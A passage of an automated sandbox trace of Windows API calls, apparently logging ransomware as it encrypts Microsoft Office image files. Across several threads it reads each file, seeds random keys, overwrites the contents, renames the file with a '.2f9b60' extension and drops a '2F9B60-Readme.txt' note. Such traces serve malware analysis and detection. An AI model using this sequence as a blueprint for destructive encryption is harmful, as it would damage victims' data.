hFile=0x1b1c, lpBuffer=0x41bcc1b0*, nNumberOfBytesToWrite=0x708, lpNumberOfBytesWritten=0x29fffa14, lpOverlapped=0x0 | out: lpBuffer=0x41bcc1b0*, lpNumberOfBytesWritten=0x29fffa14*=0x708, lpOverlapped=0x0) returned 1 [0132.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266e70 [0132.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0132.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266de0) returned 1 [0132.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bcc1b0) returned 1 [0132.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b2e130) returned 1 [0132.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0132.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0132.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd974e0 [0132.771] SetFilePointerEx (in: hFile=0x1b1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0132.771] WriteFile (in: hFile=0x1b1c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x29fffb30, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x29fffb30*=0x126, lpOverlapped=0x0) returned 1 [0132.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0132.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97440) returned 1 [0132.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266de0) returned 1 [0132.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0132.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266e70) returned 1 [0132.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266e40) returned 1 [0132.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266d80) returned 1 [0132.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266db0) returned 1 [0132.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x118610 [0132.781] wcscpy (in: _Dest=0x118610, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImagesMask.bmp" [0132.781] wcscat (in: _Dest=0x118610, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImagesMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImagesMask.bmp.2f9b60" [0132.781] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImagesMask.bmp.2f9b60", NtPathName=0x29fffb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImagesMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0132.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x1b776770 [0132.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 [0132.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceccdd0) returned 1 [0132.783] NtQueryInformationFile (in: FileHandle=0x1b1c, IoStatusBlock=0x29fffbb8, FileInformation=0x29fffbc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29fffbb8, FileInformation=0x29fffbc8) returned 0x0 [0132.783] NtSetInformationFile (FileHandle=0x1b1c, IoStatusBlock=0x29fffbb8, FileInformation=0x29fffbc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0132.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0132.784] FlushFileBuffers (hFile=0x1b1c) returned 1 [0138.529] CloseHandle (hObject=0x1b1c) returned 1 [0138.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b8620f0 [0138.648] wcscpy (in: _Dest=0x1b8620f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0138.648] wcscat (in: _Dest=0x1b8620f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0138.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0xffffffff [0139.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e10 [0147.176] WriteFile (in: hFile=0x1e10, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x29fffa70, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x29fffa70*=0xba9, lpOverlapped=0x0) returned 1 [0147.260] CloseHandle (hObject=0x1e10) returned 1 [0147.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8620f0) returned 1 [0147.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106dc0) returned 1 Thread: id = 1823 os_tid = 0xe40 [0132.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimages.jpg")) returned 0x20 [0132.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg", dwFileAttributes=0x20) returned 1 [0132.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimages.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b24 [0132.768] GetFileSizeEx (in: hFile=0x1b24, lpFileSize=0x2a19f840 | out: lpFileSize=0x2a19f840*=11951) returned 1 [0132.768] SetFilePointerEx (in: hFile=0x1b24, liDistanceToMove=0x2eab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.768] ReadFile (in: hFile=0x1b24, lpBuffer=0x2a19f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a19f808, lpOverlapped=0x0 | out: lpBuffer=0x2a19f7c0*, lpNumberOfBytesRead=0x2a19f808*=0x4, lpOverlapped=0x0) returned 1 [0132.772] SetFilePointerEx (in: hFile=0x1b24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266c90 [0132.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266d50 [0132.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ea0 [0132.773] NtQuerySystemTime (in: CurrentTime=0x2a19f700 | out: CurrentTime=0x2a19f700*=132462177380206000) returned 0x0 [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x5d10e889 [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x13e08b3f [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x2c1dc36a [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x70586b2d [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x28303fea [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x453dd111 [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x1de8e827 [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x19c8768a [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x62c5b4d4 [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x6227b158 [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0xbea2642 [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x22f45bba [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x739f823 [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x4b92cbac [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x54b837ce [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x67cac12 [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x4966524b [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x2d6ab999 [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x38b11963 [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x58ab8a6e [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0xe9816ba [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x696be37d [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0xdea4b3 [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x67bf89d3 [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x14bf885c [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x2fadada1 [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x6a569766 [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x7c83d6bc [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x1cc06ec4 [0132.773] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x33285028 [0132.774] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x4e6a740e [0132.774] RtlRandomEx (in: Seed=0x2a19f6f0 | out: Seed=0x2a19f6f0) returned 0x2de4258b [0132.780] ReadFile (in: hFile=0x1b24, lpBuffer=0x41b2e130, nNumberOfBytesToRead=0x2eaf, lpNumberOfBytesRead=0x2a19f6f0, lpOverlapped=0x0 | out: lpBuffer=0x41b2e130*, lpNumberOfBytesRead=0x2a19f6f0*=0x2eaf, lpOverlapped=0x0) returned 1 [0132.787] SetFilePointerEx (in: hFile=0x1b24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.787] WriteFile (in: hFile=0x1b24, lpBuffer=0x41bcc1b0*, nNumberOfBytesToWrite=0x2eaf, lpNumberOfBytesWritten=0x2a19f6f4, lpOverlapped=0x0 | out: lpBuffer=0x41bcc1b0*, lpNumberOfBytesWritten=0x2a19f6f4*=0x2eaf, lpOverlapped=0x0) returned 1 [0132.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266db0 [0132.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266d80 [0132.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266d80) returned 1 [0132.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bcc1b0) returned 1 [0132.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b2e130) returned 1 [0132.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0132.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0132.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1cd970d0 [0132.795] SetFilePointerEx (in: hFile=0x1b24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0132.795] WriteFile (in: hFile=0x1b24, lpBuffer=0x1885d0*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x2a19f810, lpOverlapped=0x0 | out: lpBuffer=0x1885d0*, lpNumberOfBytesWritten=0x2a19f810*=0x12a, lpOverlapped=0x0) returned 1 [0132.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1885d0) returned 1 [0132.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97440) returned 1 [0132.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266d80) returned 1 [0132.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0132.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266db0) returned 1 [0132.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266d50) returned 1 [0132.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ed0) returned 1 [0132.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266f00) returned 1 [0132.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x118610 [0132.815] wcscpy (in: _Dest=0x118610, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg" [0132.815] wcscat (in: _Dest=0x118610, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg.2f9b60" [0132.815] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg.2f9b60", NtPathName=0x2a19f830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0132.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xdc) returned 0x1b799160 [0145.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799160) returned 1 [0145.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceccdd0) returned 1 [0145.232] NtQueryInformationFile (in: FileHandle=0x1b24, IoStatusBlock=0x2a19f898, FileInformation=0x2a19f8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a19f898, FileInformation=0x2a19f8a8) returned 0x0 [0145.232] NtSetInformationFile (FileHandle=0x1b24, IoStatusBlock=0x2a19f898, FileInformation=0x2a19f8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0145.268] FlushFileBuffers (hFile=0x1b24) returned 1 [0145.276] CloseHandle (hObject=0x1b24) returned 1 [0145.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202adfa0 [0145.277] wcscpy (in: _Dest=0x202adfa0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0145.277] wcscat (in: _Dest=0x202adfa0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0145.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adfa0) returned 1 [0147.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107240) returned 1 Thread: id = 1824 os_tid = 0xfb8 [0132.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimagesmask.bmp")) returned 0x20 [0132.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImagesMask.bmp", dwFileAttributes=0x20) returned 1 [0132.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimagesmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b28 [0132.790] GetFileSizeEx (in: hFile=0x1b28, lpFileSize=0x29c9fda0 | out: lpFileSize=0x29c9fda0*=1592) returned 1 [0132.790] SetFilePointerEx (in: hFile=0x1b28, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.790] ReadFile (in: hFile=0x1b28, lpBuffer=0x29c9fd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29c9fd68, lpOverlapped=0x0 | out: lpBuffer=0x29c9fd20*, lpNumberOfBytesRead=0x29c9fd68*=0x4, lpOverlapped=0x0) returned 1 [0132.796] SetFilePointerEx (in: hFile=0x1b28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266e40 [0132.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266e70 [0132.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0132.796] NtQuerySystemTime (in: CurrentTime=0x29c9fc60 | out: CurrentTime=0x29c9fc60*=132462177380362000) returned 0x0 [0132.796] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x787cc788 [0132.796] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x27679963 [0132.796] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x2c008837 [0132.796] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x4aaa316 [0132.796] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x53e935f6 [0132.796] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x5a148321 [0132.796] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x52478867 [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x5cb4603b [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x41e66bf1 [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x3a3c7854 [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x4a2520e0 [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x3ee36ea0 [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x622abbd9 [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x59513255 [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x289386a3 [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x247c17ae [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0xbdaf528 [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x4867da44 [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x1b20592e [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x6da89a9a [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x1ab9600 [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x2425803f [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x5cfb2c59 [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x3ebae67a [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x672a5cec [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x119d9fb1 [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x9e5035 [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x34b0bbc8 [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x2b7ff87f [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x1e63d2db [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x21c49778 [0132.797] RtlRandomEx (in: Seed=0x29c9fc50 | out: Seed=0x29c9fc50) returned 0x40545be8 [0132.808] ReadFile (in: hFile=0x1b28, lpBuffer=0x41b2e130, nNumberOfBytesToRead=0x638, lpNumberOfBytesRead=0x29c9fc50, lpOverlapped=0x0 | out: lpBuffer=0x41b2e130*, lpNumberOfBytesRead=0x29c9fc50*=0x638, lpOverlapped=0x0) returned 1 [0132.809] SetFilePointerEx (in: hFile=0x1b28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.809] WriteFile (in: hFile=0x1b28, lpBuffer=0x41bcc1b0*, nNumberOfBytesToWrite=0x638, lpNumberOfBytesWritten=0x29c9fc54, lpOverlapped=0x0 | out: lpBuffer=0x41bcc1b0*, lpNumberOfBytesWritten=0x29c9fc54*=0x638, lpOverlapped=0x0) returned 1 [0132.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f00 [0132.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ed0 [0132.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ed0) returned 1 [0132.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bcc1b0) returned 1 [0132.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b2e130) returned 1 [0132.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0132.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0132.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1b7cea60 [0132.816] SetFilePointerEx (in: hFile=0x1b28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0132.816] WriteFile (in: hFile=0x1b28, lpBuffer=0x1885d0*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x29c9fd70, lpOverlapped=0x0 | out: lpBuffer=0x1885d0*, lpNumberOfBytesWritten=0x29c9fd70*=0x132, lpOverlapped=0x0) returned 1 [0132.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1885d0) returned 1 [0132.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced55c0) returned 1 [0132.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ed0) returned 1 [0132.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cea60) returned 1 [0132.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266f00) returned 1 [0132.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266e70) returned 1 [0132.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266c90) returned 1 [0132.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ea0) returned 1 [0132.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118fd0 [0132.822] wcscpy (in: _Dest=0x118fd0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImagesMask.bmp" [0132.822] wcscat (in: _Dest=0x118fd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImagesMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImagesMask.bmp.2f9b60" [0132.822] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImagesMask.bmp.2f9b60", NtPathName=0x29c9fd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImagesMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 